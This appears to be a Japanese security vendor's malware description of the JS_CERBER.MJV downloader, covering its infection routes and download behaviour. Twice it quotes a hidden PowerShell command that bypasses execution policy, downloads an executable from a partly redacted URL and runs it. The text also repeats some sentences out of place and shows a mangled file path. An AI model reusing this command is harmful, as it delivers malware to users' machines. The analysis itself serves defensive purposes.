JS_CERBER.MJV

マルウェアは、他のマルウェアもしくはグレイウェア、または不正リモートユーザによるスパムメールに添付され、コンピュータに侵入します。 マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

マルウェアは、ワーム活動の機能を備えていません。

マルウェアは、バックドア活動の機能を備えていません。

ただし、情報公開日現在、このWebサイトにはアクセスできません。

マルウェアは、情報収集する機能を備えていません。

侵入方法

マルウェアは、他のマルウェアもしくはグレイウェア、または不正リモートユーザによるスパムメールに添付され、コンピュータに侵入します。

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

感染活動

マルウェアは、ワーム活動の機能を備えていません。

バックドア活動

マルウェアは、バックドア活動の機能を備えていません。

ダウンロード活動

マルウェアは、以下のWebサイトにアクセスし、不正なファイルをダウンロードして実行します。

• https://{BLOCKED}demy.com/wells/wellsfargo/get.php

マルウェアは、以下のファイル名でダウンロードしたファイルを保存します。

• There are two methods used by this malware to download its intended malicious file:
  • “First method” is done by the malware by using the Native XMLHTTP (MS ActiveX Control). If successfully done, the malware will save the downloaded file using the following filename, then executes the file afterwards:
    • %Application Data%\Microsoft\Windows\Templates\{6 Random Numbers}.exe
    
    
  • If the “First method” did not work properly, the malware will proceed with the “Second method”, by also connecting to the same URL mentioned above to download the intended malicious file. However, in this method, the malware uses powershell command for the download routine:
    • powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('https://{BLOCKED}demy.com/wells/wellsfargo/get.php', '%User Profile%\AppData\Roaming211.exe'); start-process '%User Profile%\AppData\Roaming211.exe';
      
      If successfully done, the malware will save the downloaded file using the following filename, then executes the file afterwards:
      • %User Profile%\AppData\Roaming211.exe

ただし、情報公開日現在、このWebサイトにはアクセスできません。

情報漏えい

マルウェアは、情報収集する機能を備えていません。

その他

このマルウェアは、二種類の手法で不正なファイルをダウンロードします。

1番目の手法は、Native XMLHTTP (MS ActiveX Control)を利用して実行されます。ダウンロードに成功した場合、マルウェアは以下のファイル名でダウンロードしたファイルを保存して、実行します。

• %Application Data%\Microsoft\Windows\Templates\{6 Random Numbers}.exe

1番目の手法が失敗した場合、マルウェアは２番目の手法を利用します。1番目と同じURLに接続しますが、不正なファイルをダウンロードするためにマルウェアは以下のPowershellコマンドを利用します。

• powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('https://{BLOCKED}demy.com/wells/wellsfargo/get.php', '%User Profile%\AppData\Roaming211.exe'); start-process '%User Profile%\AppData\Roaming211.exe';

• %User Profile%\AppData\Roaming211.exe

すべての不正活動が完了した後、マルウェアは、以下のメッセージボックスを表示します。

マルウェアは、ルートキット機能を備えていません。

マルウェアは、脆弱性を利用した感染活動を行いません。